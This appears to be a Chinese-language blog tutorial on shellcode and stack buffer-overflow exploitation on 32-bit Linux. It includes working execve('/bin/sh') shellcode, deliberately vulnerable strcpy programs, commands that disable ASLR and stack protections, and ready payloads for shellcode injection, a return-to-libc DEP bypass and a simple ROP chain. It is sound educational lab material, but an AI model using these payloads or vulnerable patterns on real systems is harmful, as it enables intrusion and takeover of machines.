shellcode与系统安全
http://tommwq.tech/blog/shellcode-and-security/
1 避免shellcode中出现0x00的方法
- 使用
xor eax, eax
代替mov eax, 0x00
。 - 使用
xor eax, eax; mov al, 0x01
代替mov eax, 0x01
。
2 获取shellcode地址
从逻辑上看, call target
等效于
dec esp mov [esp], eip jmp target
因此,执行call指令可以将下一条指令的地址写入栈。在call之后执行 pop eax
就可以将目标地址保存到eax中。call分为near call和far call,near call使用的是段内的相对地址,因此可以用来定位shellcode。下面是一个示例:
jmp short save_location: locate: pop eax ;; do something save_location: call locate data: "shellcode"
3 向函数传递参数
对于基本数据类型的参数,可以直接设置寄存器或堆栈的值。对于结构体等类型的参数,参数是通过指针传递的。可以通过 push
将数据压入栈,然后通过 mov eax, esp
的方式将指针传递给寄存器。在通过 push
传递路径时必须将路径和指针长度对齐,方法是在路径分割符中填充“/”字符,比如将 /bin/sh
填充为 /bin//sh
。还有,在 push
时必须转换为小端。
4 部分Linux系统调用
4.1 execve(32位)
EAX | 11 |
EBX | 程序名 |
ECX | 参数 |
EDX | 环境 |
ESI | 系统堆栈 |
5 将二进制文件转换为C语言字符串
od -t x1 binary_file | sed -e 's/[0-7]*//' | sed -s 's/ /\\x/g'
6 一个简单的shellcode
;; nasm -f bin shellcode.asm -o shellcode [bits 32] ;; execve("//bin/sh", 0, 0, 0); xor edx, edx mov ecx, edx push edx push 0x68732f6e push 0x69622f2f mov ebx, esp xor eax, eax mov al, 0x0b int 0x80
7 一些辅助函数
global get_ebp get_ebp: mov eax, ebp ret
8 一个简单的缓冲区溢出示例
文件 | |
a.c | 漏洞和利用程序。 |
a.h | 生成的头文件。 |
generate.sh | 生成a.h的脚本。 |
makefile | makefile脚本。 |
shellcode.asm | shellcode代码。 |
util.asm | 辅助函数。 |
首先要关闭ASRL。
sudo sysctl -w kernel.randomize_va_space=0
// a.c #include <stdio.h> void unsafe(char *data); void* current_ebp(); int main(int argc, char *argv[]) { #include "a.h" char *data = "\x01\x01\x02\x03\x04\x05\x06\x07" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"; void *upframe_ebp = current_ebp(); char *buffer = (char*) malloc(1024); strncpy(buffer, data, 64); strncpy(buffer + 24, &upframe_ebp, 4); strncpy(buffer + 28, &shellcode, 4); unsafe(data); printf("ok\n"); return 0; } void unsafe(char *data) { int buffer[4]; strcpy(buffer, data); }
// generate.h shellcode=`od -t x1 -w1000 shellcode | sed -e 's/[0-7]*//' | sed -e 's/ /\\\\\\\\x/g' | xargs` echo "char *shellcode=\"${shellcode}\";" > a.h
# makefile a.out: a.c a.h util.o gcc -fno-stack-protector -ggdb -Wl,-zexecstack a.c util.o a.h: shell.asm nasm -f bin -o shellcode shellcode.asm ./generate.sh util.o: util.asm nasm -f elf -o $@ $^ clear: -rm a.out a.h shellcode util.o
;; shellcode.asm [bits 32] xor edx, edx mov ecx, edx push edx push 0x68732f6e push 0x69622f2f mov ebx, esp xor eax, eax mov al, 0x0b int 0x80
;; util.asm global current_ebp current_ebp: mov eax, ebp ret
9 示例2:缓冲区溢出攻击
文件 | |
makefile | makefile脚本 |
target.c | 目标程序。 |
shellcode.asm | shellcode程序 |
// target.c #include <stdio.h> void unsafe(char *data); int main(int argc, char *argv[]) { unsafe(argv[1]); return 0; } void unsafe(char *data) { int buffer[4]; strcpy(buffer, data); }
# makefile a.out: target.c gcc -fno-stack-protector -ggdb -Wl,-zexecstack -o $@ $^
;; shellcode.asm [bits 32] xor edx, edx mov ecx, edx push edx push 0x68732f6e push 0x69622f2f mov ebx, esp xor eax, eax mov al, 0x0b int 0x80
注入方法
./a.out `perl -e 'print "A"x28 . "\xf0\xf5\xff\xbf" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x90\x90\x90\x90\x90\x90\x90\x90" . "\x31\xd2\x89\xd1\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"'`
其中地址0xbffff5f0是在esp地址加上填充字节数和shellcode指针长度后得到的。这个地址位于缓冲区后面。
10 缓冲区溢出攻击的基本流程
- 寻找注入点。重复构造输入,不断增加输入长度,查看在那个地方程序会崩溃。这个地方就是覆盖了ebp。再向前覆盖一个指针,就可以覆盖ret地址。
- 寻找缓冲区位置。如果只覆盖ebp,不覆盖返回地址,程序也会崩溃,但是可以保留eip和esp。根据esp可以找到缓冲区位置。缓冲区地址在esp附近。可以适当在esp基础上增加padding长度和shellcode指针长度,并在shellcode开头加入一些nop指令(0x90),以保证控制流程跳转到shellcode。
- 注入shellcode。
11 数据执行保护和绕过
为了利用栈溢出,需要把一组指令伪装成数据,注入到目标程序之中。从示例2可以看到,注入的指令保存在缓冲区,也就是栈上。为了避免栈溢出被恶意利用,操作系统提出了数据执行保护(Data Execution Prevention,DEP)机制,DEP利用CPU对内存页属性的检查,禁止CPU将栈上的数据作为指令来执行。这样当控制流程在跳转到shellcode后,CPU发现指令位于栈上,拒绝执行。DEP封住了注入指令的漏洞。那么除了注入指令,有没有其他的方法利用缓冲区溢出呢?这个方法就是return-to-lib。return-to-lib不再直接注入指令,而是根据目标程序自身,构造出一个控制流程,让程序跳转到这个控制流程中。比如Linux下的很多程序会调用glibc,我们找到glibc里的函数(比如system),传递参数并调转,就可以让目标程序执行我们设计好的控制流程。采用这种方法比直接注入多了一个步骤,即搜索库函数。一开始,一旦程序编译完毕,库函数加载的位置是固定的。找到根据这个固定位置,就可以调用库函数。
实际上,除了目标地址来源不同之外,jmp、call、ret3个指令,没有太多不同。jmp和call的目标地址由指令决定,ret的目标地址由栈决定。
要寻找系统函数的地址,可以用gdb加载程序,在main()处断点,然后用命令 p system
找到system的位置。找到函数还不够,还要找到函数的参数字符串。执行 x/10000s $ebp
可以查看内存中的字符串,寻找SHELL环境变量,这个字符串包含了shell程序路径,这是我们要传递给system的参数。
12 示例3:绕过DEP
采用示例2的程序,在编译时去掉 -Wl,-zexecstack
选项。
找到system、exit和/bin/bash字符串位置:
system | b7e53da0 |
exit | b7e479d0 |
/bin/bash | bffff828 |
注入 system + exit + /bin/bash
./a.out `perl -e 'print "A"x28 . "\xa0\x3d\xe5\xb7" . "\xd0\x79\xe4\xb7" . "\x28\xf8\xff\xbf"'`
13 ROP
最早开发ROP技术时利用了x86指令没有对齐的特性。但实际上,ROP技术在定长指令集上也是成立的。ROP是图灵完备的。ROP首先分析glibc代码,寻找里面以 ret
结尾的长度为2、3个指令的代码片段(叫做gadget)。只要将参数和函数返回地址按顺序保存到栈上,并不断调用 ret
,就可以执行特定的指令。
14 示例4:ROP
#include <stdio.h> void unsafe(char *data); void foo() { puts("foo"); } void bar() { puts("bar"); } int main(int argc, char *argv[]) { unsafe(argv[1]); foo(); return 0; } void unsafe(char *data) { int buffer[4]; strcpy(buffer, data); }
注入
./a.out `perl -e 'printf "A"x28 . "\xee\x82\x04\x08" . "\x54\x84\x04\x08" . "\xd0\x79\xe4\xb7"'`
地址 | |
080482ee | 一个ret指令的地址 |
08048454 | bar函数地址 |
b7e479d0 | exit函数地址 |
15 思考
指令和数据共同决定了程序的执行流程,这一点和系统是否采用冯诺依曼体系无关。比如用户登录逻辑,密码匹配是一个控制逻辑,不匹配是另一个控制流程,要走那个流程,是由用户输入的数据(密码)和程序指令共同决定的。还有对于一些脚本语言,比如Javascript脚本,脚本自身是数据,但是由解析器执行时,由具有了类似指令的特性。从另一个角度看,代码和指令都是字节,区别在于CPU如何“理解”这些字节,是作为指令执行,还是作为数据读写。这说明当一个东西存在多种不同的“理解”方式时,就会存在“错误理解”的情况,这就为攻击者提供了机会。比如union也是这样。此外,兼容性也为攻击者提供了机会。信息安全技术在不断发展,老设计在新环境下必然存在安全隐患。但是为了兼容性,老的设计不能完全抛弃,这给了攻击者可乘之机。
来源:oschina
链接:https://my.oschina.net/u/131191/blog/3171839